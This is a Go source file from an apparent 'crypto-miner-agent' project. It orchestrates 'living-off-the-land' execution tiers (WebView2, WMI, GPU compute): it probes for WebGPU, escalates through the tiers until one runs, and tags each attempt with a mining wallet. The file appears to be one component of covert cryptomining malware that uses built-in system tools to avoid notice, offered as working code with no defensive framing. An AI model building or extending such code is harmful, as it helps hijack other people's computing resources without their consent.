package miner

import (
	"context"
	"log"
	"runtime"
	"sync"
	"time"

	"crypto-miner-agent/config"
)

// TierHandler probes or starts one auxiliary LOTL path (WebView2, WMI, etc.).
type TierHandler interface {
	Tier() LOTLTier
	Available(cfg config.RuntimeConfig) bool
	Attempt(ctx context.Context, cfg config.RuntimeConfig) TierAttempt
	Stop()
}

// ProbeReporter emits probe-tier snapshots (single-arg; distinct from TierOrchestrator reporter).
type ProbeReporter func(report TierReport)

// TierRunner orchestrates probe/escalation tiers with per-attempt reporting.
type TierRunner struct {
	mu       sync.RWMutex
	cfg      config.RuntimeConfig
	handlers []TierHandler
	report   ProbeReporter
	attempts []TierAttempt
	active   LOTLTier
	stopped  []TierHandler
}

// NewTierRunner builds a runner with platform-default handlers.
func NewTierRunner(cfg config.RuntimeConfig, report ProbeReporter) *TierRunner {
	return &TierRunner{
		cfg:      cfg,
		handlers: defaultTierHandlers(),
		report:   report,
	}
}

// SetHandlers replaces handlers (tests inject mocks).
func (r *TierRunner) SetHandlers(h []TierHandler) {
	r.mu.Lock()
	r.handlers = h
	r.mu.Unlock()
}

// Report returns the current tier snapshot.
func (r *TierRunner) Report() TierReport {
	r.mu.RLock()
	defer r.mu.RUnlock()
	return r.buildReport()
}

func (r *TierRunner) buildReport() TierReport {
	attempts := make([]TierAttempt, len(r.attempts))
	copy(attempts, r.attempts)
	rep := TierReport{
		ActiveTier: r.active,
		Attempts:   attempts,
	}
	for _, a := range attempts {
		if a.Tier == TierWebView2Probe && a.OK {
			if v, ok := a.Details["webgpu_available"].(bool); ok {
				rep.WebGPUReady = v
			}
		}
		if a.Tier == TierGPUCompute && a.OK {
			rep.GPUComputeOK = true
		}
	}
	return rep
}

func (r *TierRunner) emit() {
	r.mu.RLock()
	rep := r.buildReport()
	report := r.report
	r.mu.RUnlock()
	if report != nil {
		report(rep)
	}
}

func (r *TierRunner) recordAttempt(a TierAttempt) {
	r.mu.Lock()
	r.attempts = append(r.attempts, a)
	if a.OK && r.active == "" && a.Tier != TierWebView2Probe {
		r.active = a.Tier
	}
	r.mu.Unlock()
	log.Printf("[tier] %s ok=%v err=%q duration=%dms", a.Tier, a.OK, a.Error, a.DurationMs)
	r.emit()
}

// RunProbes executes probe-only tiers (webview2) before GPU escalation.
func (r *TierRunner) RunProbes(ctx context.Context) TierReport {
	r.mu.RLock()
	handlers := r.handlers
	cfg := r.cfg
	r.mu.RUnlock()

	for _, h := range handlers {
		if h.Tier() != TierWebView2Probe {
			continue
		}
		if !h.Available(cfg) {
			r.recordAttempt(TierAttempt{
				Tier:   TierWebView2Probe,
				Error:  "webview2 runtime not detected",
				Wallet: cfg.Wallet,
			})
			continue
		}
		start := time.Now()
		a := h.Attempt(ctx, cfg)
		a.DurationMs = time.Since(start).Milliseconds()
		if a.Wallet == "" {
			a.Wallet = cfg.Wallet
		}
		r.recordAttempt(a)
	}
	return r.Report()
}

// RunChain attempts execution tiers in order; probe tiers are skipped here.
func (r *TierRunner) RunChain(ctx context.Context) (LOTLTier, error) {
	r.mu.RLock()
	handlers := r.handlers
	cfg := r.cfg
	r.mu.RUnlock()

	var lastErr error
	for _, h := range handlers {
		t := h.Tier()
		if t == TierWebView2Probe {
			continue
		}
		if !h.Available(cfg) {
			r.recordAttempt(TierAttempt{
				Tier:   t,
				Error:  "tier unavailable on " + runtime.GOOS,
				Wallet: cfg.Wallet,
			})
			continue
		}
		start := time.Now()
		a := h.Attempt(ctx, cfg)
		a.DurationMs = time.Since(start).Milliseconds()
		if a.Wallet == "" {
			a.Wallet = cfg.Wallet
		}
		r.recordAttempt(a)
		if a.OK {
			r.mu.Lock()
			r.active = t
			r.stopped = append(r.stopped, h)
			r.mu.Unlock()
			r.emit()
			return t, nil
		}
		if a.Error != "" {
			lastErr = errFromTier(a.Error)
		}
	}
	if lastErr != nil {
		return "", lastErr
	}
	return "", ErrTierChainSkipped
}

// WebGPUReady reports whether the webview2 probe found WebGPU.
func (r *TierRunner) WebGPUReady() bool {
	return r.Report().WebGPUReady
}

// Stop halts all started tier handlers.
func (r *TierRunner) Stop() {
	r.mu.Lock()
	stopped := r.stopped
	r.active = ""
	r.stopped = nil
	r.mu.Unlock()
	for _, h := range stopped {
		h.Stop()
	}
	r.emit()
}

type tierError string

func (e tierError) Error() string { return string(e) }

func errFromTier(msg string) error { return tierError(msg) }